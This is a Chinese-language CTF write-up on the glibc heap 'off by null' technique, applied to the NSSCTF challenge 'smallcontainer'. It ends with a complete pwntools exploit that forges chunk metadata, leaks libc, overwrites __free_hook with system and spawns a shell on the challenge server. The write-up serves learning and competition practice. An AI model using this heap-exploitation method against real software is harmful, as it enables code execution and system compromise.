off by null介绍

类似于off by one不过只能溢出一个空字节,主要是让堆块的prev_inuse位(P位)位0,从而认为上一个堆块被free从而触发unlink

向前合并

1
2
3
4
5
6
7
/* consolidate forward */
if (!nextinuse) {
unlink(av, nextchunk, bck, fwd);
size += nextsize;
} else
clear_inuse_bit_at_offset(nextchunk, 0);

向后合并

1
2
3
4
5
6
7
8
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}

合并之后主要利用堆块重叠进行攻击

prev_inuse位和size of previous chunk位在多数libc版本下在chunk在fastbin和tcache中不会出现

利用 off by null

首先创建四个chunk

1
2
3
4
chunk 1
chunk 2 #利用 off by null的chunk
chunk 3
chunk 4 #防止和topchunk合并

首先释放chunk1,填充chunk2,让chunk3中的prev_inuse位为0,改变chunk3中size of previous chunk位为size of chunk1 + size of chunk2,之后释放chunk3,即可把chunk1、chunk2、chunk3合并成一个堆,但此时chunk2并没有被释放,因此可以进行后续double free等利用。

注意 chunk1,chunk3不能进入fastbin和tcache中

若利用 off by null时改变了chunk3 的size位,会导致chunk3+size时找不到prev_inuse位,造成报错,因此有时需要伪造chunk3的nextchunk的prev_inuse位。

实例

[巅峰极客 2022]smallcontainer | NSSCTF

glibc版本 2.27-3ubuntu1.5_amd64

分析

add show edit delete功能齐全,且无UAF

add大小限制至少为0xff,不超过0x3ff

1

edit完成后会堆chunk进行检查,check函数如下

2

检查会遇到0截断,不会遇到chunk边界停止,也就是说只要没有0会一直检查到下一个chunk,若下一个chunk大小为0x110、0x210等算上p位则会位0x111、0x211,被检查完后会变成0x100、0x200

具体实现

先创建三个chunk,注意第一个大小要最终位0x200。之后把0x200的tcache填满,利用off by null把第三个的prev_inuse位置0,同时改变了size位。再次edit改变size of previous chunk位

由于size位被修改减少了0x10导致找不到下一个位,因此要用edit伪造一个P位

之后释放堆块造成重叠,利用freehook获得shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import*
from LibcSearcher import*

context(log_level='debug',arch='amd64',os='linux')
libc=ELF('./libc6_2.35-0ubuntu3.6_amd64.so')
#libc=ELF('./libc6_2.27-3ubuntu1.4_amd64.so')
libc=ELF('./pwn_tools/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc.so.6')
#libc=ELF('./libc-2.31.so')
e=ELF('./service')
r=process('./service')
r=remote('node4.anna.nssctf.cn',28940)

def choice(idx):
r.sendlineafter(b'>', str(idx))


def add(size):
choice(1)
# r.sendlineafter(b'Index: ', str(idx))
r.sendlineafter(b'size: ', str(size))


def free(idx):
choice(2)
r.sendlineafter(b'index: ', str(idx))


def edit(idx, content):
choice(3)
r.sendlineafter(b'index: ', str(idx))
sleep(0.1)
r.send(content)


def show(idx):
choice(4)
r.sendlineafter(b'index: ', str(idx))

add(0x1f8)
add(0x1f8)
add(0x208)
add(0x108)

for i in range(7):#填满tcache
add(0x1f8)
for i in range(7):
free(4+i)
free(0)
edit(1,'1'*0x1f8)#利用check改变p位
edit(1,b'1'*0x1f0+p64(0x400))#伪造size of previous chunk
#free(1)
edit(2,b'\x00'*0x1f8+p64(0x11))#改变了size 去伪造nextchunk的p位
free(2)
for i in range(8):#取出tcache,切割unsortedbin让unsortedbin的fd和bk改到1号位置
add(0x1f0)
#下面利用freehook
show(1)
addr=b'0x'+r.recvuntil("a0")
addr=int(addr,16)-0x3ebca0
print(hex(addr))
add(0x1f0)
free(9)
free(10)



hook=addr+libc.sym.__free_hook
sys=addr+libc.sym.system
print(hex(hook))
edit(1,p64(hook))

add(0x1f0)
edit(9,b'/bin/sh')
add(0x1f0)
edit(10,p64(sys))
free(9)

#gdb.attach(r)

r.interactive()